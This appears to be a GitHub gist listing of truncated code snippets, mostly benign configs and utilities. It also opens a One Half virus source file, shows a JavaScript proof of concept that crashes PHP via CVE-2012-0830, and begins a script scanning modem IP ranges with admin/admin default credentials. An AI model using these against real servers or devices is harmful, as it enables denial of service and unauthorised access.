Skip to content

Instantly share code, notes, and snippets.

@starenka
starenka / onehalf.asm
Created January 2, 2012 22:22
onehalf.3577
;Dear friends,
;some time has already passed since the great days of One Half epidemy.
;Nevertheless we still hope that a code of this popular virus inspires
;you also now. A lot of stuff has been written on the subject, so I tink,
;not many words are necessary about this little creature any more.
;And, so, here is the original source of One_Half.3577:
DOSSEG
.MODEL SMALL
.STACK 100h
@starenka
starenka / config
Created January 31, 2012 10:42
~/.config/terminator/config
[global_config]
geometry_hinting = False
enabled_plugins = ,
tab_position = hidden
borderless = True
[keybindings]
scaled_zoom = <Shift><Control>u
go_up = <Shift>Up
next_tab = <Shift>Right
split_horiz = <Shift><Control>t
@starenka
starenka / phpkill.js
Created February 3, 2012 13:07 — forked from pilate/phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
}
evil_obj['kill[]'] = 'kill';
@starenka
starenka / letrot.py
Created February 5, 2012 13:17
python code in ROT13 (Caesar)
#!/usr/bin/env python
# -*- coding: rot13 -*-
cevag '''Tnyyvn rfg bzavf qvivfn va cnegrf gerf, dhnehz hanz vapbyhag Orytnr, nyvnz Ndhvgnav,
gregvnz dhv vcfbehz yvathn Prygnr, abfgen Tnyyv nccryynaghe. Uv bzarf yvathn, vafgvghgvf,
yrtvohf vagre fr qvssrehag. Tnyybf no Ndhvgnavf Tnehzan syhzra, n Orytvf Zngeban rg
Frdhnan qvivqvg. Ubehz bzavhz sbegvffvzv fhag Orytnr, cebcgrern dhbq n phygh ngdhr
uhznavgngr cebivapvnr ybatvffvzr nofhag, zvavzrdhr nq rbf zrepngberf fnrcr pbzzrnag
ngdhr rn dhnr nq rssrzvanaqbf navzbf cregvarag vzcbegnag, cebkvzvdhr fhag Treznavf,
dhv genaf Eurahz vapbyhag, dhvohfphz pbagvaragre oryyhz trehag.'''.rapbqr("rot13")
@starenka
starenka / modems.py
Created February 14, 2012 21:55
modems.py 83.6.171.0 83.6.172.0 2>/dev/nul
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# pip install requests gevent ipaddr
import sys, datetime
from requests import async
from ipaddr import summarize_address_range,IPv4Address
AUTH = ('admin', 'admin')
@starenka
starenka / flipy.py
Created February 18, 2012 21:54
Simple flickr uploader - uploads several files at once
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pip install flickrapi grequests gevent
from __future__ import division
import logging, os, sys
from optparse import OptionParser
import xml.etree.ElementTree as ElementTree
import flickrapi
<?xml version="1.0" encoding="UTF-8"?>
<scheme name="starenka 2.0" version="1" parent_scheme="Default">
<option name="LINE_SPACING" value="1.0" />
<option name="EDITOR_FONT_SIZE" value="12" />
<option name="EDITOR_FONT_NAME" value="Monospaced" />
<colors>
<option name="CARET_COLOR" value="f8f8f0" />
<option name="CARET_ROW_COLOR" value="4a4d3f" />
<option name="CONSOLE_BACKGROUND_KEY" value="272822" />
<option name="INDENT_GUIDE" value="49483e" />
@starenka
starenka / mimibazar.txt
Created March 9, 2012 16:56
Mimibazar slovnicek z klubu Mimibazar fetisismus na Okounu
Ajdam: jedna ze základních potravin, strouhaný se hodí do všech mňamek, plátkový na potahování kozodortů
anální tuleníčko: anální koitus
Anklbenc: označení pro výrobky značky Uncle Ben's
baces: absces
Barbí: panenka značky 徐熙媛
Bayles, Baylís, Bejlís(ek), Bejlíz, Bailýs: svařené kondenzované mléko s tuzemákem
bekulinka, békajda: čepice, nejlépe pletená či háčkovaná s umělecky ztvárněným logem nějaké super cool značky, napřiklad Guess
blink na tetu: mimísek zblije osobě celá záda, nutno vždy zdokumentovat
blog, bloček: libovolná webová stránka (například Okoun, který se skládá z jediného klubu, totiž MMBF, a byl založen jen kvůli posmívání se MMB)
bombičkový: skvělý, úplně nejlepší, super
@starenka
starenka / etcpmsleep.d96light.sh
Created March 10, 2012 00:02
pm-util script to turn thinkpad light after 10pm
#!/bin/bash
# On an IBM system. turn the light after 10pm
[ -f /proc/acpi/ibm/light ] || exit $NA
case "$1" in
thaw|resume)
time=$(date +%H)
if [[ "$time" -ge 22 ]] || [[ "$time" -le 6 ]] ;then
echo "on" > /proc/acpi/ibm/light
function hg_prompt_info {
hg prompt --angle-brackets "\
< %{$fg[green]%}<branch>%{$reset_color%}>\
< at %{$fg[yellow]%}<tags|%{$reset_color%}, %{$fg[yellow]%}>%{$reset_color%}>\
%{$fg[green]%}<status|modified|unknown><update>%{$reset_color%}<
patches: <patches|join( → )|pre_applied(%{$fg[yellow]%})|post_applied(%{$reset_color%})|pre_unapplied(%{$fg_bold[black]%})|post_unapplied(%{$reset_color%})>>" 2>/dev/null
}
function battery_pct_remaining() { echo "$(acpi | cut -f2 -d',' | tr -cd '[:digit:]')" }
function battery_time_remaining() { echo $(acpi | cut -f3 -d',') }